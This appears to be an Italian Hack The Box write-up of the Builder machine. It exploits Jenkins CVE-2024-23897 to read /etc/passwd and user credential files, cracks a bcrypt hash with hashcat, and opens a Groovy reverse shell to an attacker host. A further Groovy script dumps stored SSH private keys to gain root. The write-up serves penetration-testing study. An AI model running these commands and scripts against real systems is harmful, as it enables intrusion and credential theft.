Introduzione#
Attenzione!
Tutte le tecniche descritte in questo articolo sono puramente a scopo educativo.
L'autore non incoraggia né supporta attività illegali e non è responsabile per eventuali usi impropri delle informazioni presenti su questo sito.
Per ulteriori dettagli fare riferimento a
disclaimer!
Builder è una macchina Hack The Box (HTB) di difficoltà media, basata su un’istanza di Jenkins vulnerabile alla CVE-2024-23897, una vulnerabilità che permette di leggere file arbitrari del sistema. Questa vulnerabilità permette a un attaccante di ottenere le credenziali di un utente registrato per accedere alla console di Jenkins ed eseguire codice arbitrario sulla macchina. Tramite Jenkins è inoltre possibile decifrare una chiave privata SSH per accedere come root alla macchina e compromettere l’intero host.
Questo articolo fa parte della serie Road to OSCP, il mio diario personale in cui documento il percorso di studio e l’esperienza maturata durante la preparazione alla certificazione OSCP di Offensive Security. Se sei interessato ad altri contenuti simili, ti invito a consultare la sezione dedicata alla serie.
Enumerazione#
Port scanning#
Da una prima scansione nmap è possibile osservare che il server espone solo 2 servizi: SSH (22/tcp) e un server web (8080/tcp).
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
8080/tcp open http-proxy syn-ack ttl 62Eseguendo una scansione più approfondita si possono rilevare le versioni di alcuni software in uso:
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJ+m7rYl1vRtnm789pH3IRhxI4CNCANVj+N5kovboNzcw9vHsBwvPX3KYA3cxGbKiA0VqbKRpOHnpsMuHEXEVJc=
| 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOtuEdoYxTohG80Bo6YCqSzUY9+qbnAFnhsk4yAZNqhM
8080/tcp open http syn-ack ttl 62 Jetty 10.0.18
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-favicon: Unknown favicon MD5: 23E8C7BD78E8CD826C5A6073B15068B1
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Jetty(10.0.18)
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
|_http-title: Dashboard [Jenkins]8080 (TCP) - HTTP#
Sulla porta 8080 TCP è esposto un server web che ospita un’istanza di Jenkins, un software open source scritto in Java che supporta gli sviluppatori nell’automatizzare compiti ripetitivi dello sviluppo software facilitando il CI/CD (continuous integration/continuous deployment):
Analizzando la risposta HTTP del server, si ottengono informazioni sulle versioni dei software in uso come la versione di Jenkins installata (2.441):
Navigando l’applicazione web, la sezione People mostra una lista di utenti registrati e scopro così l’utente jennifer:
Accesso iniziale#
CVE-2024-23897#
La versione di Jenkins installata (2.441) risulta essere affetta dalla vulnerabilità CVE-2024-23897. Di seguito una breve descrizione:
Jenkins 2.441 and earlier, LTS 2.426.2 and earlier does not disable a feature of its CLI command parser that replaces an ‘@’ character followed by a file path in an argument with the file’s contents, allowing unauthenticated attackers to read arbitrary files on the Jenkins controller file system.
Fonte: NIST
Jenkins possiede un’interfaccia da linea di comando che permette di controllare l’istanza tramite uno script o una shell. Questa interfaccia può essere utilizzata o tramite SSH o tramite il client .jar distribuito con l’installazione di Jenkins. Come indicato dalla documentazione, il client è scaricabile direttamente dall’host:
wget http://$TARGET_IP:8080/jnlpJars/jenkins-cli.jarTramite questo è possibile quindi interagire con l’istanza Jenkins ed eseguire alcuni comandi come il seguente:
java -jar jenkins-cli.jar -s 'http://$TARGET_IP$:8080' 'who-am-i'
La vulnerabilità che affligge la versione di Jenkins installata nasce dal parsing errato degli argomenti passati sulla linea di comando al client jar. Jenkins utilizza la libreria args4j di Java che permette di leggere argomenti e opzioni specificati su linea di comando. Di default il parser sostituisce il carattere @ seguito dal percorso di un file (es. @/path/to/file) in un argomento con il contenuto del file. Nell’output del comando eseguito verranno generati degli errori che mostrano il contenuto del file, permettendo in pratica a un attaccante di leggere file arbitrari del sistema.
L’impatto della vulnerabilità dipende dai comandi disponibili e dai permessi concessi all’utente: con privilegi Overall/Read si può accedere al contenuto completo del file, mentre senza questi privilegi si può accedere solo parzialmente al file. Inoltre la lettura di file binari è limitata, poiché questi vengono letti come stringhe e alcuni byte potrebbero non essere interpretati correttamente e sostituiti con dei valori placeholder.
Tramite il seguente comando verifico la presenza e la sfruttabilità della vulnerabilità provando a leggere il file /etc/passwd:
java -jar jenkins-cli.jar -s 'http://$TARGET_IP$:8080' 'connect-node' '@/etc/passwd'
Jenkins di default salva la lista degli utenti registrati nel file XML ${JENKINS_HOME}/users/users.xml che, in questo caso, si trova in /var/jenkins_home/users/users.xml:
java -jar jenkins-cli.jar -s 'http://$TARGET_IP$:8080' 'connect-node' '@/var/jenkins_home/users/users.xml'
Da questo file si può estrarre l’identificativo jennifer_12108429903186576833 che rappresenta il nome della directory in cui vengono salvate le credenziali cifrate dell’utente jennifer. Jenkins salva le credenziali degli utenti nel file XML ${JENKINS_HOME}/users/<user_id>/config.xml. Accedendo al file /var/jenkins_home/users/jennifer_12108429903186576833/config.xml si ottiene l’hash della password dell’utente:
java -jar jenkins-cli.jar -s 'http://$TARGET_IP:8080' 'connect-node' '@/var/jenkins_home/users/jennifer_12108429903186576833/config.xml'
Jenkins salva gli hash delle password degli utenti in formato bcrypt. Dal manuale di hashcat identifico la modalità di cracking corretta basandomi sul formato dell’hash ottenuta. Poiché questa inizia con $2a$ opto per la modalità 3200.
hashcat -hh | grep -i bcrypt
Procedo ora all’attacco offline dell’hash per provare a ottenere la password dell’utente in chiaro:
hashcat -m 3200 jennifer.hash --wordlist /usr/share/wordlists/rockyou.txt --force
Le credenziali così ottenute (jennifer/princess) possono essere usate per accedere all’istanza di Jenkins:
Ora posso accedere alla console di Jenkins che, come evidenziato di seguito, permette di eseguire script Groovy arbitrari sul server:
Provo quindi ad eseguire un comando non invasivo (whoami) sul server tramite il seguente script:
def cmd = "whoami"
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = cmd.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout"
println "err> $serr"
Confermato questo, posso provare a ottenere una reverse shell con il seguente script:
String host="<attacker_ip>"; // Sostituire con IP macchina attacante
int port=4444;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()){
while(pi.available()>0)so.write(pi.read());
while(pe.available()>0)so.write(pe.read());
while(si.available()>0)po.write(si.read());
so.flush();po.flush();
Thread.sleep(50);
try {p.exitValue();break;}catch (Exception e){}
};
p.destroy();s.close();Ottengo in questo modo una shell interattiva sul sistema come utente jenkins:
Enumerando il sistema scopro di trovarmi con molta probabilità in un container Docker, poiché l’hostname è un valore esadecimale e nella root del file system è presente il file .dockerenv:
Proseguendo con l’analisi, eseguo deepce.sh per identificare eventuali metodi per uscire dal container e ottenere accesso all’host sottostante. Dal seguente output si scopre che il file con la prima flag è stato montato nella home di Jenkins e che non sono presenti metodi immediati per accedere all’host:
Verifico quanto scoperto e accedo così alla flag utente:
Da notare che questo file è accessibile anche senza ottenere una shell interattiva, sfruttando la vulnerabilità di Jenkins analizzata precedentemente:

Privilege escalation#
Tramite la console si possono decifrare le chiavi SSH salvate in Jenkins. Il seguente script permette di accedere alle credenziali SSH salvate nell’instanza e decifrarle:
def sshCreds = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(
com.cloudbees.jenkins.plugins.sshcredentials.impl.BasicSSHUserPrivateKey.class,
Jenkins.instance,
null,
null
);
for (c in sshCreds) {
println(c.id + ":" + c.username);
println(c.privateKey);
}In questo modo ottengo la chiave SSH privata dell’utente root in chiaro:
Salvando questa chiave in locale in id_rsa e modificando adeguatamente i permessi (chmod 600 id_rsa) è possibile accedere in SSH al server come utente root e completare la compromissione:
L’ultima flag è salvata in /root/root.txt come di consueto:
Conclusioni#
Builder è una macchina basata interamente su Jenkins e rappresenta un ottimo punto di partenza per acquisire familiarità con questa tecnologia. Questo laboratorio fornisce all’utente tutti gli strumenti necessari a comprendere il funzionamento generale di Jenkins e come questo gestisce segreti e credenziali degli utenti.
Nonostante la macchina sia classificata come media, essa non presenta picchi di difficoltà elevati. La difficoltà bilanciata permette all’utente di approfondire vari temi e prendersi tutto il tempo necessario per provare ad attaccare il sistema senza rischiare di perdersi in ricerche senza fine.
Inoltre l’accesso iniziale al sistema non deriva dall’esecuzione di un singolo exploit pubblico come avviene spesso per altre macchine. Una volta individuata la vulnerabilità che affligge il sistema è necessario scavare nella documentazione e consultare varie fonti per individuare a quali dati accedere e come utilizzare funzioni lecite dell’applicazione per compromettere interamente la macchina.



